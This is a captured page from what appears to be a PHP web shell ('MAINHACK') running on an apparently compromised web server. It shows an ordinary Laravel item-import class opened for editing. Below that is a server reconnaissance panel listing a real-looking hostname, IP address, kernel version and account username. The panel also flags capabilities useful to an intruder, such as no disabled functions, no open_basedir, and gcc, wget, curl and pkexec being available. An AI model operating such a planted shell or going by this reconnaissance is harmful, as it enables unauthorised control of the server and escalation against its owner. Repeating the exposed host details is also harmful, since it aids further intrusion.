[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ItemImport.php
<?php namespace App\Imports; use App\Models\Item; use App\Models\ItemCategory; use App\Models\Tax; use App\Rules\IniAmount; use App\Libraries\EnumAppLibrary; use DB; use Illuminate\Support\Str; use Illuminate\Validation\Rule; use Maatwebsite\Excel\Concerns\ToModel; use Maatwebsite\Excel\Concerns\Importable; use Maatwebsite\Excel\Concerns\SkipsFailures; use Maatwebsite\Excel\Concerns\SkipsEmptyRows; use Maatwebsite\Excel\Concerns\SkipsOnFailure; use Maatwebsite\Excel\Concerns\WithHeadingRow; use Maatwebsite\Excel\Concerns\WithValidation; class ItemImport implements ToModel, WithHeadingRow, WithValidation, SkipsOnFailure, SkipsEmptyRows { use Importable, SkipsFailures; public function model(array $row) { $category_id = $this->getCategoryId($this->sanitizeInput($row['category'])); if ($category_id) { return new Item([ 'name' => $this->sanitizeInput($row['name'] ?? ''), 'item_category_id' => $category_id, 'slug' => Str::slug($this->sanitizeInput($row['name'])), 'tax_id' => $this->getTaxId($row['tax']), 'item_type' => EnumAppLibrary::itemType($this->sanitizeInput($row['item_type'] ?? '')), 'price' => $row['price'], 'is_featured' => EnumAppLibrary::itemFeature($row['featured']), 'description' => $this->sanitizeInput($row['description'] ?? ''), 'caution' => $this->sanitizeInput($row['caution'] ?? ''), 'status' => EnumAppLibrary::itemStatus($row['status']), ]); } } public function rules(): array { return [ 'name' => [ 'required', 'string', 'max:190', Rule::unique("items", "name")->whereNull('deleted_at') ], 'category' => ['required', 'string'], 'tax' => ['nullable', 'numeric'], 'item_type' => ['required'], 'price' => ['required', new IniAmount()], 'featured' => ['required'], 'description' => ['nullable', 'string', 'max:5000'], 'caution' => ['nullable', 'string', 'max:5000'], 'status' => ['required', 'max:24'], ]; } private function sanitizeInput($value): array|bool|string { return mb_convert_encoding(trim($value), 'UTF-8', 'UTF-8'); } private function getTaxId($tax_rate): int|null { $tax = Tax::where('tax_rate', $tax_rate)->first(); if ($tax) { return $tax->id; } return null; } private function getCategoryId($categoryName): int|null { $category = ItemCategory::where(DB::raw('LOWER(name)'), 'LIKE', '%' . strtolower($categoryName) . '%')->first(); if ($category) { return $category->id; } return null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002